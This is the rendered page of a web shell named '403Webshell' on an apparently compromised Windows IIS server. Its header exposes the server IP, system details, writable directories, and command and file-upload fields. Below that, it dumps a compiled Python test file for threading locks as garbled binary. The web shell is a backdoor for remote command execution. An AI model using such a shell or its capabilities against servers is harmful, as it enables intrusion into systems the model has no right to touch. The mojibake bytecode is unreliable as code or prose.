403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/__pycache__/lock_tests.cpython-315.pyc
R
>lqj��c��Qs]PHs]PHs]PHs]QHGsGs]PHs]PH s]PH$s	]QH(Gs]QH0G
s
\O\OQ2sQsQQ\2sQQ	\O(2sQ
Q\2sQQ
\2sQQ\2sQQ\2sQQ\2sQQ\2sQQ\2sQQ\2sQQ\2sP!)z/
Various tests for synchronization primitives.
)�start_new_thread�TIMEOUT_MAX)�support)�threading_helperz9platform doesn't support fork (no _at_fork_reinit method)c�B�[OQU*2P!)�{�G�z�?)�time�sleep)�nthreads&�$C:\Python315\\Lib\test\lock_tests.py�wait_threads_blockedrs��	�J�J�u�w���c�H`�\sQs]snQsQQksQsQsQsQs	Qs
UsP!)	�Bunchz
A bunch of threads.
c�p�VmV m,Um,Um,UmU%(UmPUmP!)z�
Construct a bunch of `nthread` threads running the same function `func`.
If `wait_before_exit` is True, the threads won't terminate until
do_finish() is called.
)�funcr	�started�finished�
exceptions�	_can_exit�_wait_thread)�selfrr	�wait_before_exits&&&&r
�__init__�Bunch.__init__ s5���	��������
����-�-��� ��rc�l�[O2oUOOU2UO	2UOOU2[O[O2FDoUO%fJP!	P![
c&oSOOS2Po=K�Po=hh9hSOOS2[O[O2FDoSO%fJh	h9h�N)�	threading�	get_identr�appendr�
BaseExceptionrrr�sleeping_retry�
SHORT_TIMEOUTr)r�tid�exc�_s&   r
�task�
Bunch.task.s����!�!�#�������C� �	��I�I�K�
�M�M� � ��%��+�+�G�,A�,A�B���>�>�>��C��	�	(��O�O�"�"�3�'�'��	(��
�M�M� � ��%��+�+�G�,A�,A�B���>�>�>��C�s6�B"�"	C�,C�-C
�C�
C�C�AD3�-D3c��[O[O2UmUOO2[
UO2FDo[UOQ2J	[O[O2FD+o[UO2UO6�fJ)U!	U!P	Sm
g9h)T�)r�wait_threads_exitrr!r�	__enter__�ranger	rr%rr �lenr)rr$s& r
r*�Bunch.__enter__;s���,�>�>�w�?T�?T�U������#�#�%�	��4�<�<�(�� ����B�/�)��'�'��(=�(=�>�A��4�<�<� �D�L�L�0����	?����	�!�D�N��s�3C�
Cc�P�[O[O2FD*o[UO2UO
6�fJ)L	UOOPPP2UOoPUmU%c[UOQ0U2gP!)Nz threads raised exceptions)rr r!r,rr	r�__exit__r�ExceptionGroupr)r�exc_type�	exc_value�	tracebackr$rs&&&&  r
r/�Bunch.__exit__Ls����'�'��(=�(=�>�A��4�=�=�!�T�\�\�1��?�
	
���"�"�4��t�4��_�_�
����� �D�I�I�;�.H�!I�!+�-�
-�rc��P	UmP!�T)r�rs&r
�	do_finish�Bunch.do_finish[s	����r)rrrrrr	r�F)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr%r*r/r8�__static_attributes__�__classdictcell__��
__classdict__s@r
rrs(�����!���"
-��rrc�4`�\sQs]_snQsQsQsQsUsP!)�BaseTestCasec�<�[O2UmP!r)r�threading_setup�_threadsr7s&r
�setUp�BaseTestCase.setUp`s��(�8�8�:��
rc�p�[OUO[O2P!r)r�threading_cleanuprHr�
reap_childrenr7s&r
�tearDown�BaseTestCase.tearDowncs ���*�*�D�M�M�:����rc�h�UOVQ*2UOVQ*2P!)g333333�?g$@)�assertGreaterEqual�
assertLess)r�actual�expecteds&&&r
�
assertTimeout�BaseTestCase.assertTimeoutgs&��	
����3��7�����4��0r)rH)	r;r<r=r>rIrNrUr@rArBs@r
rErE_s����;� �1�1rrEc�`�\sQs]psnQsQsQsQsQsQs	Qs
QsQ	sQ
s
QsQsQ
sQsQsQsQsUsP!)�
BaseLockTestsz3
Tests for both recursive and non-recursive locks.
c��[O[O2FDo[U2U6�fJL	UO	[U2U2P!r)rr r!r,�assertEqual)r�phaserTr$s&&& r
�
wait_phase�BaseLockTests.wait_phaseusB���'�'��(=�(=�>�A��5�z�X�%��?�	
����U��X�.rc�*�UO2o=P!r)�locktype�r�locks& r
�test_constructor�BaseLockTests.test_constructor{s���}�}���rc���UO[UO]2UO[UO]Q5UO[UO]]Q5P!)�)�x)�assertRaises�	TypeErrorr_r7s&r
�test_constructor_noargs�%BaseLockTests.test_constructor_noargssL�����)�T�]�]�A�6����)�T�]�]�a��8����)�T�]�]�A���;rc�`�UO2oUO[U2Q2=P!)z<unlocked .* object (.*)?at .*>)r_�assertRegex�reprr`s& r
�	test_repr�BaseLockTests.test_repr�s%���}�}�������d��%F�G�rc��UO2oUO2UO[U2Q2=P!)z<locked .* object (.*)?at .*>)r_�acquirerlrmr`s& r
�test_locked_repr�BaseLockTests.test_locked_repr�s.���}�}�����������d��%D�E�rc�J�UO2oUO2=P!r)r_rqr`s& r
�test_acquire_destroy�"BaseLockTests.test_acquire_destroy�s���}�}�������rc�j�UO2oUO2UO2=P!r�r_rq�releaser`s& r
�test_acquire_release�"BaseLockTests.test_acquire_release�s"���}�}�����������rc��UO2oUOUOP
22UO2P!r:)r_�
assertTruerqryr`s& r
�test_try_acquire�BaseLockTests.test_try_acquire�s+���}�}���������U�+�,����rc�``�UO2nRO2,nUU1Qko[U]29^tt^2PPP2UOR]*2RO	2P!)%fhK:9h)c�J:�ROROP
22P!r:�rrq�ra�results��r
�f�3BaseLockTests.test_try_acquire_contended.<locals>.f�s����M�M�$�,�,�u�-�.r)r_rqr�assertFalsery�rr�rar�s& @@r
�test_try_acquire_contended�(BaseLockTests.test_try_acquire_contended�sW����}�}���������	/�
�1�a�[�[���������#������[�s�A5�5B	�>B	c�`�UO2nRO2U1Qko]o[V29^tt^2o[U2UO	[UO2]2RO2PPP2UO	[WO2U2P!)%fhK79h)c�J:�RO2RO2P!r�rqry�ras�r
r��/BaseLockTests.test_acquire_contended.<locals>.f������L�L�N��L�L�Nr)r_rqrrrZr,rry)rr��N�bunchras&   @r
�test_acquire_contended�$BaseLockTests.test_acquire_contended�s�����}�}�������	�
��
�1�[�[�E� ��#����S����0�!�4�
�L�L�N�
�	
����U�^�^�,�a�0��[�s�AB.�.B>	�7B>	c	�`�UO2nU1QkoQU1QkkoR9^tt^2PPP2[U]29^tt^2PPP2UO[29^tt^2R9^tt^2[g)%fhK]9h)%fhKR9h)%fhL9hPPP2L)%fhL9h[S]29^tt^2PPP2P!)%fhP!9h)c�J:�RO2RO2P!rr�r�s�r
r��"BaseLockTests.test_with.<locals>.f�r�rc�f:�R9^tt^2UdUgPPP2P!)%fhP!9hrr()�errras&�r
�	with_lock�*BaseLockTests.test_with.<locals>.with_lock�s#������?��I�#�����s���0	�0	r)r_rrgrh)rr�r�ras&  @r
�	test_with�BaseLockTests.test_with�s�����}�}���	�	��T����1�a�[�[����
�
�y�
)�
)������T���[��
����*�
)�
)�
)���1�a�[�[���[�[�[�s_�B�	B�0C�;B(	�B	�B	�B%	�B%	�(B8
�1B8
�3C�C	�C	�,C8�8D		�D		c�`�UO2nU1Qko[U]29^tt^2PPP2P!)%fhP!9h)c�J:�RO2RO2P!rr�r�s�r
r��)BaseLockTests.test_thread_leak.<locals>.f�r�r)r_r�rr�ras& @r
�test_thread_leak�BaseLockTests.test_thread_leak�s1����}�}���	��1�b�\�\���\�\�\�s�9�A
	�A
	c�:``�UO2nUO[ROP
]2UO[ROQQ5UO[ROQQ5UO[RO[
]*Q5RO[
Q5RO
2[O2oUORO]Q52[O2oUOV!*
]2,nUU1Qko[U]29^tt^2PPP2UOR]*2UOR]*Q2P!)%fhKC9h)F��timeoutg}Ô%�I�Tc��:�[O2oROROQQ52[O2oROV*
2P!)��?r�)r�	monotonicrrq)�t1�t2ra�resultss  ��r
r��%BaseLockTests.test_timeout.<locals>.f�s@������!�B��N�N�4�<�<��<�4�5����!�B��N�N�2�7�#rr�i����)r_rg�
ValueErrorrq�
OverflowErrorrryrr�r}rRrr�rU)rr�r�r�rar�s&   @@r
�test_timeout�BaseLockTests.test_timeout�s����}�}������*�d�l�l�E�1�=����*�d�l�l�D��A����-����u��E����-����{�Q���O����[��)�����
�^�^�
��������Q��/�0�
�^�^�
��������#���	$�
�1�a�[�[���������$����7�1�:�s�+��[�s�
F
�
F	�F	c��UO2o[OU2oUOU22P!r)r_�weakref�ref�assertIsNotNone�rrar�s&  r
�test_weakref_exists�!BaseLockTests.test_weakref_existss+���}�}����k�k�$������S�U�#rc��UO2o[OU2o=[O2UOU22P!r)r_r�r��gc�collect�assertIsNoner�s&  r
�test_weakref_deleted�"BaseLockTests.test_weakref_deleteds7���}�}����k�k�$����
�
�
�����#�%� rr()r;r<r=r>r?r\rbrirnrrrurzr~r�r�r�r�r�r�r�r@rArBs@r
rXrXpsZ�����/��<�
�
��
��
	�1�$�:�,�6$�
!�!rrXc�H`�\sQsQsnQsQsQsQs\Q2s	Qs
UsP!)�	LockTests�zb
Tests for non-recursive, weak locks
(which can be acquired and released from different threads).
c�2``�UO2n,nUU1Qko[O29^tt^2[UQ2UO	R]2RO2UO	R]2PPP2P!)%fhP!9h)c�:�RO2ROP2RO2ROP2P!r�rqr)rar[s��r
r��#LockTests.test_reacquire.<locals>.fs-����L�L�N��L�L����L�L�N��L�L��rr()r_rr)rr\ry�rr�rar[s& @@r
�test_reacquire�LockTests.test_reacquiresi����}�}�����	��
/�
/�
1�
1��Q��#��O�O�E�1�%�
�L�L�N��O�O�E�1�%�2�
1�
1�
1�s�AB�B	�B	c�`�UO2nRO2U1Qko[U]29^tt^2PPP2RO2RO2P!)%fhK29h)c�*:�RO2P!r)ryr�s�r
r��*LockTests.test_different_thread.<locals>.f+�����L�L�Nr)r_rqrryr�s& @r
�test_different_thread�LockTests.test_different_thread'sI����}�}�������	�
�1�a�[�[������������[�s�A)�)A9	�2A9	c�*�UO2oUO2UOUOQQ52UO2UOUO	22UOUOP
Q52P!)rr�)�blocking)r_rqr�ry�lockedr}r`s& r
�test_state_after_timeout�"LockTests.test_state_after_timeout2se���}�}�������������d��3�4������������'�������e��4�5rc���QoUO2oUO2UU2UO2oUO2UO2UU2P!)c�H�UO2UO2P!rr�r�s&r
�use_lock�/LockTests.test_at_fork_reinit.<locals>.use_lock>s��
�L�L�N��L�L�Nr)r_�_at_fork_reinitrq)rr�ra�lock2s&   r
�test_at_fork_reinit�LockTests.test_at_fork_reinit<sP��	��}�}�����������
�
���
�
�
��
������rr()r;r<r=r>r?r�r�r��
requires_forkr�r@rArBs@r
r�r�s-�����&�(	�6����rr�c�\`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
sQs
QsUsP!)
�
RLockTests�Pz
Tests for recursive locks.
c�``�UO2nUOQ[R22UOQ[R22RO2RO2UOQ[R22UOQ[R22,nUU1Qko[	U]29^tt^2PPP2UOQR]*2UOQR]*2P!)%fhKD9h)zcount=0z	<unlockedzcount=2z<lockedc�>:�RO[R22P!r)rrmr�s��r
�	call_repr�-RLockTests.test_repr_count.<locals>.call_repras����M�M�$�t�*�%r)r_�assertInrmrqr)rr�rar�s& @@r
�test_repr_count�RLockTests.test_repr_countTs�����}�}����
�
�i��d��,��
�
�k�4��:�.����������
�
�i��d��,��
�
�i��d��,���	&�
�9�a�
 �
 ��!��
�
�i����+��
�
�i����+�!�
 �s�=C;�;D	�D	c���UO2oUO2UO2UO2UO2UO2UO2P!rrxr`s& r
r��RLockTests.test_reacquirehsC���}�}��������������������������rc�h�UO2oUO[UO2UO	2UO	2UO2UO	2UO2UO2UO[UO2P!r)r_rg�RuntimeErrorryrqr`s& r
�test_release_unacquired�"RLockTests.test_release_unacquiredqsk���}�}������,����5����������������������������,����5rc���UO2oUOUO22UO2UO	UO22UO2UO	UO22UO2UO	UO22UO2UOUO22P!r)r_r�r�rqr}ryr`s& r
�test_locked�RLockTests.test_locked}s����}�}����������'�����������
�&�����������
�&�����������
�&������������'rc�|``�,nUO2nUORO22UU1Qko[U]29^tt^2PPP2UO	RO22UOR]*2UO	R]*2P!)%fhKa9h)c�:�RORO22RO2RORO22P!r)rr�rq)r��rlocks��r
rq�5RLockTests.test_locked_with_2threads.<locals>.acquire�s0����M�M�%�,�,�.�)��M�M�O��M�M�%�,�,�.�)r)r_r�r�rr})rrqr�r�s& @@r
�test_locked_with_2threads�$RLockTests.test_locked_with_2threads�s�������
�
����������(�	*�
�7�A�
�
����������'�������#�����q�	�"�	�
�s�B+�+B;	�4B;	c�h�UO2oUO[UO2UO	2UO	2UO2UO	2UO2UO2UO[UO2P!r)r_rgr��
_release_saverqryr`s& r
�test_release_save_unacquired�'RLockTests.test_release_save_unacquired�so���}�}������,��(:�(:�;����������������������������,��(:�(:�;rc�```�RO2nRO]RO22RO2RO]RO22RO2RO2RO]RO22RO	2RO]RO22RO	2RO	2RO]RO22,nUUU1Qko[
O29^tt^2[UQ2ROR]2RO]RO22ROP2ROR]2RO]RO22PPP2P!)%fhP!9h)�c�:�RO2ROP2ROR]2RO2ROP2P!r)rqrr\ry)rar[rs���r
r��*RLockTests.test_recursion_count.<locals>.f�s;����L�L�N��L�L����O�O�E�1�%��L�L�N��L�L��rr()
r_rZ�_recursion_countrqryrr)rr\rr�sf @@r
�test_recursion_count�RLockTests.test_recursion_count�sQ����}�}�������D�1�1�3�4���������D�1�1�3�4�������������D�1�1�3�4���������D�1�1�3�4�������������D�1�1�3�4���	��
/�
/�
1�
1��Q��#��O�O�E�1�%����Q�� 5� 5� 7�8�
�L�L����O�O�E�1�%����Q�� 5� 5� 7�8�2�
1�
1�
1�s�<BG�G	�G	c�(`�UO2nU1Qko[U]P	29^tt^2oUO[RO2UO2PPP2P!SO2h9h)%fhP!9h)c�*:�RO2P!r)rqr�s�r
r��+RLockTests.test_different_thread.<locals>.f�r�r)r_rrgr�ryr8)rr�r�ras&  @r
r�� RLockTests.test_different_thread�sk����}�}���	��1�a��
�
�%�
"��!�!�,����=����!�	�
�����!��	�
�
�s(�B� A+�B�+A=�=B�B	�	B	c�``�UO2nUORO22RO2UO	RO22RO2UO	RO22,nUU1Qko[U]29^tt^2PPP2UOR]*2RO
2UO	RO22RO
2UORO22P!)%fhK�9h)c�H:�RORO22P!r)r�	_is_ownedr�s��r
r��$RLockTests.test__is_owned.<locals>.f�s����M�M�$�.�.�*�+r)r_r�rrqr}rryr�s& @@r
�test__is_owned�RLockTests.test__is_owned�s�����}�}���������)�*�����������(�)�����������(�)���	,�
�1�a�[�[���������#�����������(�)�����������)�*�
�[�s�.D0�0E	�9E	r()r;r<r=r>r?r�r�r�r�r�r�r�r�r	r@rArBs@r
r�r�Ps=�����,�(�
6�
(�#�$
<�!9�F
"�+�+rr�c�Z`�\sQsQsnQsQsQsQsQsQs	\
Q2sQ	sQ
s
UsP!)�
EventTests��z
Tests for Event objects.
c���UO2oUOUO22UO2UO	UO22UO2UO	UO22UO2UOUO22UO2UOUO22P!r)�	eventtyper��is_set�setr}�clear�r�evts& r
�test_is_set�EventTests.test_is_set�s����n�n����������&����	�����
�
��%����	�����
�
��%��	�	���������&��	�	���������&rc�\```�]o,n,nUUU1Qko[V229^tt^2[U2UO[R2]2RO	2PPP2UORP	,U*2UORP	,U*2P!)%fhKF9h)�c�:�RORO22RORO22P!r)r�wait)r�results1�results2s���r
r��#EventTests._check_notify.<locals>.f�s'����O�O�C�H�H�J�'��O�O�C�H�H�J�'r)rrrZr,r)rrr�r�rrs&f  @@r
�
_check_notify�EventTests._check_notify�s����
������	(��1�[�[� ��#����S��]�A�.�
�G�G�I�
�	
����D�6�A�:�.�����D�6�A�:�.��[�s�7B�B+	�$B+	c��UO2oUOU2UO2UO2UOU2P!r)rrrrrs& r
�test_notify�EventTests.test_notifys<���n�n������3�����	��	�	�����3�rc�2```�UO2n,n,n]oUUU1Qko[V!29^tt^2PPP2UORP
,U*2RFD(vq4UOU2UO	UQ2J*	,n,nRO2[V!29^tt^2PPP2UORP	,U*2RFDvq4UO
U2J	P!)%fhK�9h)%fhK\9h)rc��:�ROROQ22[O2oROQ2o[O2oROVU*
12P!)gr�)rrrr�)r��rr�rrrs   ���r
r��"EventTests.test_timeout.<locals>.fsN����O�O�C�H�H�S�M�*����!�B�����
�A����!�B��O�O�Q�R��L�)rr�)rrrZr�rUrr})rr�r�r%�dtrrrs&    @@@r
r��EventTests.test_timeouts�����n�n�������
��	*��1�[�[���	
����E�7�Q�;�/��E�A����Q�����r�3�'��
�������	�
�1�[�[���	
����D�6�A�:�.��E�A��O�O�A���!�[���[�s#�C3�0D�3D	�<D	�D	�D	c�*``�UO2n,nUU1Qko]o[V29^tt^2[U2RO2RO	2PPP2UORP	,U*2P!)%fhK,9h)c�f:�RORO[O22P!r)rrr�LONG_TIMEOUT)�eventr�s��r
r��(EventTests.test_set_and_clear.<locals>.f:s����N�N�5�:�:�g�&:�&:�;�<r)rrrrrrZ)rr�r�r,r�s&  @@r
�test_set_and_clear�EventTests.test_set_and_clear5sl������ ����	=�
��
�1�[�[� ��#�
�I�I�K��K�K�M�
�	
����4�&�1�*�-��[�s�,B�B	�B	c��UO2oUO9^tt^2UOUOOP
22PPP2UO	2UO9^tt^2UOUOOP
22PPP2P!)%fhKi9h)%fhP!9hr:)r�_condr�rqr�rs& r
r��EventTests.test_at_fork_reinitHs����n�n���
�Y�Y�Y����S�Y�Y�.�.�u�5�6������
�Y�Y�Y����S�Y�Y�.�.�u�5�6��Y��Y���Y�Y�s#�+B2�=+C�2C	�;C	�C	�C	c��UO2oUO[U2Q2UO2UO[U2Q2P!)z<\w+\.Event at .*: unset>z<\w+\.Event at .*: set>)rrlrmrrs& r
rn�EventTests.test_reprRsA���n�n�������c��$@�A����	�����c��$>�?rr()r;r<r=r>r?rrr!r�r.r�r�rnr@rArBs@r
rr�sC�����
'�/�( ��>.�&�7��7�@�@rrc�V`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
sQs
UsP!)�ConditionTests�Yz 
Tests for condition variables.
c��UO2oUO2UO2UO2UO2[O2oUOU2oUO2UOUOP
22UO2UO
UOP
22UOUOP
22UO2U9^tt^2UOUOP
22PPP2P!)%fhP!9hr:)�condtyperqryr�Lockr�r})r�condras&  r
�test_acquire�ConditionTests.test_acquire^s����}�}���	
�����������������~�~����}�}�T�"������������e�,�-�����������U�+�,�������e�,�-�����
�T����T�\�\�%�0�1��T�T�T�s�!D=�=E	�E	c�h�UO2oUO[UO2P!r)r9rgr�r�rr;s& r
�test_unacquired_wait�#ConditionTests.test_unacquired_waitqs!���}�}������,��	�	�2rc�h�UO2oUO[UO2P!r)r9rgr��notifyr?s& r
�test_unacquired_notify�%ConditionTests.test_unacquired_notifyus!���}�}������,����4rc�````	`
�,n,n	,n
]nUUUU	U
1Qko]o[V#29^tt^2[O[O2FDo[	R2U6�fJL	RO2UO
R	,2]oRO2ROU2[U2]nRO2[O[O2FDo[	R	2U6�fJL	UO
R	Q,U*2UO
R
,2[O[O2FDo[	R2U6�fJL	RO2RO]2[U2]nRO2[O[O2FD,o[	R	2[	R
2*V5*6�fJ+L	V5*
oUO
R	Q,U*Q,U**2UO
R
Q,U*2[O[O2FDo[	R2U6�fJL	RO2RO2[U2]nRO2[O[O2FDo[	R
2U6�fJL	UO
R	Q,U*Q,U**2UO
R
Q,U*Q,U**2PPP2P!)%fhP!9h)r�c�Z:�RO2ROR2RO2oRO2ROUR12RO2ROR2RO2oRO2ROUR12P!r)rqrrry)r�r;�	phase_num�readyrrs �����r
r��'ConditionTests._check_notify.<locals>.f�sw����L�L�N��L�L��#��Y�Y�[�F��L�L�N��O�O�V�Y�/�0��L�L�N��L�L��#��Y�Y�[�F��L�L�N��O�O�V�Y�/�0r)Tre)T�)T�)rrr r!r,rrZrqrCrry�
notify_all)rr;r�r�r$�count1�count2rHrIrrs&f     @@@@r
r�ConditionTests._check_notifyys�����������	�
	1�
	1�
��
�1�[�[��+�+�G�,A�,A�B���u�:��?��C�
�K�K�M����X�r�*��F��L�L�N��K�K��� ��(��I��L�L�N��+�+�G�,A�,A�B���x�=�F�*��C�
���X�	�{�V�';�<����X�r�*��+�+�G�,A�,A�B���u�:��'��C�

�L�L�N��K�K��N� ��#��I��L�L�N��+�+�G�,A�,A�B���x�=�3�x�=�0�Q�Z�@��C��Z�F����X�	�{�V�';�y�k�F�>R�'R�S����X�	�{�V�';�<��+�+�G�,A�,A�B���u�:��?��C�

�L�L�N��O�O�� ��#��I��L�L�N��+�+�G�,A�,A�B���x�=�A�%��C�
���X�	�{�V�';�y�k�F�>R�'R�S����X�	�{�V�';�y�k�F�>R�'R�S�A�[�[�[�s;�6M/�)BM/�
A&M/�5BM/�BM/�A7M/�AM/�/N	�8N	c�l�UO2oUOU2UOU2P!r)r9rr?s& r
r!�ConditionTests.test_notify�s)���}�}������4� ����4� rc�>```�UO2nQn,nUUU1Qko]o[V29^tt^2PPP2UO[R2U2RFD(vq4UO	UR2UOU2J*	P!)%fhK\9h)r�c��:�RO2[O2oROR2o[O2oRO	2ROV *
U12P!r)rqrr�rryr)r�r�r�r;r�r�s   ���r
r��&ConditionTests.test_timeout.<locals>.f�sN����L�L�N����!�B��Y�Y�w�'�F����!�B��L�L�N��N�N�B�G�V�,�-r)r9rrZr,rUr�)rr�r�r'r�r;r�r�s&    @@@r
r��ConditionTests.test_timeout�s}����}�}�������	.�
��
�1�[�[�������W��q�)�!�J�B����r�7�+�
���V�$�"�	�[�s�B�B	�B	c�v```�RO2n]nUUU1Qko[U]29^tt^2[]2FDEo[OQ2R9^tt^2R]*
nRO2PPP2JG	PPP2P!)%fhJd9h)%fhP!9h)r�c��:�R9^tt^2ROU1Qk2oROU2ROR]2PPP2P!)%fhP!9h)c�:�R]6H!��r(��states�r
�<lambda>�8ConditionTests.test_waitfor.<locals>.f.<locals>.<lambda>s	���u��zr)�wait_forr}rZ)r�r;rr]s ���r
r��&ConditionTests.test_waitfor.<locals>.f�s?��������'9�:������'�� � ���*�����s�9A�A!	�A!	r)r9rr+rrrC)rr��ir;r]sf  @@r
�test_waitfor�ConditionTests.test_waitfor�sx����}�}�����	+��1�a�[�[��1�X���
�
�5�!��T��Q�J�E��K�K�M��T���[��T�T���[�[�s/�0B'�#B
�=B'�B$�B$�	B'�'B8	�0B8	c�````�RO2n]n,nUUUU1Qko[U]29^tt^2[]2FDEo[OQ2R9^tt^2R]*
nRO2PPP2JG	PPP2RO
[R2]2P!)%fhJ9h)%fhKA9h)r�c�P:�R9^tt^2[O2oROU1QkQQ5o[O2U*
oROU2RO	UQ2ROP2PPP2P!)%fhP!9h)c�:�R]6H!rZr(r\s�r
r^�@ConditionTests.test_waitfor_timeout.<locals>.f.<locals>.<lambda>s	����q�r皙�����?r�)rr�r`r�rUr)r'r�r;rr]�successs  ����r
r��.ConditionTests.test_waitfor_timeout.<locals>.fsn������^�^�%�����'8�#��F���^�^�%��*��� � ��(��"�"�2�s�+����t�$�
����s�A=B�B%	�B%	r)r9rr+rrrCrZr,)rr�rbr;r]rjsf  @@@r
�test_waitfor_timeout�#ConditionTests.test_waitfor_timeouts�����}�}�������	%�	%��1�a�[�[��1�X���
�
�5�!��T��Q�J�E��K�K�M��T���	
����W��q�)�	�T�T��	�[�s/�0C�'B2
�C�2C�;C�=	C�C	�C	r()r;r<r=r>r?r<r@rDrr!r�rcrlr@rArBs@r
r6r6Ys:�����2�&3�5�`T�D!�%�4"� *�*rr6c�b`�\sQsQsnQsQsQsQsQsQs	Qs
Q	sQ
sQs
QsQ
sUsP!)�BaseSemaphoreTests�#z:
Common tests for {bounded, unbounded} semaphore objects.
c��UO[UOPQ5UO[UO[O'Q5P!)re)�value)rgr��semtype�sys�maxsizer7s&r
rb�#BaseSemaphoreTests.test_constructor(s:�����*�d�l�l�B��?����*�d�l�l�S�[�[�L��Irc��UO]2oUO2UO2UO]2oUO2UO2UO2UO2P!�re)rsrqry�r�sems& r
r<�BaseSemaphoreTests.test_acquire,sR���l�l�1�o�����
����
��l�l�1�o�����
����
����
����
rc�J�UO2oUO2=P!r)rsrqrys& r
ru�'BaseSemaphoreTests.test_acquire_destroy6s���l�l�n�����
�rc�`
```
`�]oUOU2n
R
O2,n,n,n]n
U
UUU
U1QkoUU1Qko]
o[V$29^tt^2U]*
oUU2UORR*],U*2]n
[	U2FDoR
O2J	SoUVW*2UO[
RR*2],U*],U**2]n
U]*
o[	U2FDoR
O2J	UVW*U*2UO[
RR*2],U*],U**],U**2UOR
OP
22]o	R
O2PPP2UORP	,WW*W*W	**2P!)%fhKA9h)�c��:�RORO22ROR2RORO22ROR2P!rr�)rHrrrz�sem_resultss�����r
r�7BaseSemaphoreTests.test_acquire_contended.<locals>.funcEsC������s�{�{�}�-��O�O�I�&����s�{�{�}�-��O�O�I�&rc�:�[O[O2FD'o[R2[R2*U6�fJ%P!	P!r�rr r!r,��countr$rrs& ��r
�
wait_count�=BaseSemaphoreTests.test_acquire_contended.<locals>.wait_countL�7����+�+�G�,A�,A�B���x�=�3�x�=�0�E�9��Cr)rsrqrrZr+ry�sortedr�)r�	sem_valuerr�r�rNrbrO�count3�count4rHrrrzr�s&         @@@@@r
r��)BaseSemaphoreTests.test_acquire_contended;s�����	��l�l�9�%�����
��������	�	'�	'�	�

��
�4�^�^���]�F��v�����X��0�1�#��,�?��I��9�%�����
�&��F��v��'����V�H�x�$7�8��S�6�\�Q�C�&�L�8�
:��I��!�m�F��6�]�����
�#��v���/�0����V�H�x�$7�8��S�6�\�Q�C�&�L�8�A�3��<�G�
I�
���S�[�[��/�0��F��K�K�M�9�<	
������6�F�?�V�#;�f�#D�E�	G�=�^�s�EG/�/G?	�8G?	c�R```	`
�]oUOU2n
R
O2,n,n	]nUUU	U
1QkoUU	1Qko[U]
29^tt^2U]*
oUU2UORR	*],U*2]nSoR
O	U2UVE*2UO[RR	*2],U*],U**2]nU]*
oR
O	U2UVE*U*2UO[RR	*2],U*],U**],U**2UO
R
OP
22R
O	2PPP2P!)%fhP!9h)rc�:�RO2ROR2RO2ROR2P!rr�)rHrrrzs����r
r�2BaseSemaphoreTests.test_multirelease.<locals>.func{s-����K�K�M��O�O�I�&��K�K�M��O�O�I�&rc�:�[O[O2FD'o[R2[R2*U6�fJ%P!	P!rr�r�s& ��r
r��8BaseSemaphoreTests.test_multirelease.<locals>.wait_count�r�r)rsrqrrZryr�r�)rr�rr�rNrOr�rHrrrzs&      @@@@r
�test_multirelease�$BaseSemaphoreTests.test_multireleasess[����	��l�l�9�%�����
������	�	'�	'�	�
�4��_�_���]�F��v�����X��0�1�#��,�?��I��F��K�K����v��'����V�H�x�$7�8��S�6�\�Q�C�&�L�8�
:��I���]�F��K�K����v���/�0����V�H�x�$7�8��S�6�\�Q�C�&�L�8�A�3��<�G�
I�
���S�[�[��/�0�
�K�K�M�3�_�_�_�s�D8F�F&	�F&	c�J�UO]2oUOUOP
22UOUOP
22UOUOP
22UO	2UOUOP
22P!�rK)rsr}rqr�ryrys& r
r~�#BaseSemaphoreTests.test_try_acquire�sn���l�l�1�o��������E�*�+�������E�*�+�������U�+�,����
�������E�*�+rc�&``�UO]2nRO2,nUU1Qko[U]29^tt^2PPP2UO[	R2P
,]*P	,]**2P!)%fhKD9h)r[c�:�ROROP
22ROROP
22P!r:r�)r�rzs��r
r��8BaseSemaphoreTests.test_try_acquire_contended.<locals>.f�s-����N�N�3�;�;�u�-�.��N�N�3�;�;�u�-�.r)rsrqrrZr�)rr�r�rzs& @@r
r��-BaseSemaphoreTests.test_try_acquire_contended�sg����l�l�1�o�����
���	/��1�a�[�[���
	
������5�'�A�+���!��*C�E��[�s�B�B	�	B	c�`�UO]2oUO[UOP
QQ5UO	UOQQ52UO	UOQQ52UOUOQQ52UO
2UO	UOQQ52[O2oUOUOQQ52[O2U*
oUOUQ2P!)rKg�?r�g{�G�zt?r�)
rsrgr�rqr}r�ryrr�rU)rrz�tr's&   r
�test_acquire_timeout�'BaseSemaphoreTests.test_acquire_timeout�s����l�l�1�o�����*�c�k�k�5�#��F�������E��2�3�������E��2�3�������U��3�4����
�������E��2�3��N�N���������S��1�2�
�^�^�
��
!�����2�s�#rc�$`�UO2nRO2U1Qko[U]29^tt^2o[]2UO	UO
2RO
2PPP2P!)%fhP!9h)c�J:�RO2RO2P!rr�)rzs�r
r��0BaseSemaphoreTests.test_default_value.<locals>.f�s����K�K�M��K�K�Mr)rsrqrrr�rry)rr�r�rzs&  @r
�test_default_value�%BaseSemaphoreTests.test_default_value�s\����l�l�n�����
�	��1�a�[�[�E� ��#����U�^�^�,�
�K�K�M�
�[�[�[�s�7A>�>B	�B	c�D``�RO]2nQUU1QkkoU2ROROP
22RO2RO	[
U[
2ROROP
22RO2P!)rKc	�Z:�R9^tt^2ROROP
22RO2R9^tt^2ROROP
22U%cUgPPP2PPP2P!)%fhK9h)%fhP!9hr:)r}rqryr�)r�rrzs&��r
�_with�+BaseSemaphoreTests.test_with.<locals>._with�sm�����������E� 2�3����
��S��$�$�S�[�[��%7�8��!�	������S�����s5�;B�(B	�1B	�4B�B
�B
�B�B*	�"B*	r)rsr}rqryrgrh)rr�rzsf @r
r��BaseSemaphoreTests.test_with�so����l�l�1�o��	"�	"�	��������E�*�+����
����)�U�I�6�������E�*�+����
rr()r;r<r=r>r?rbr<rur�r�r~r�r�r�r�r@rArBs@r
roro#sF�����J���
6G�p-�^,�F�$�� �rroc�2`�\sQsQsnQsQsQsQsUsP!)�SemaphoreTests��z!
Tests for unbounded semaphores.
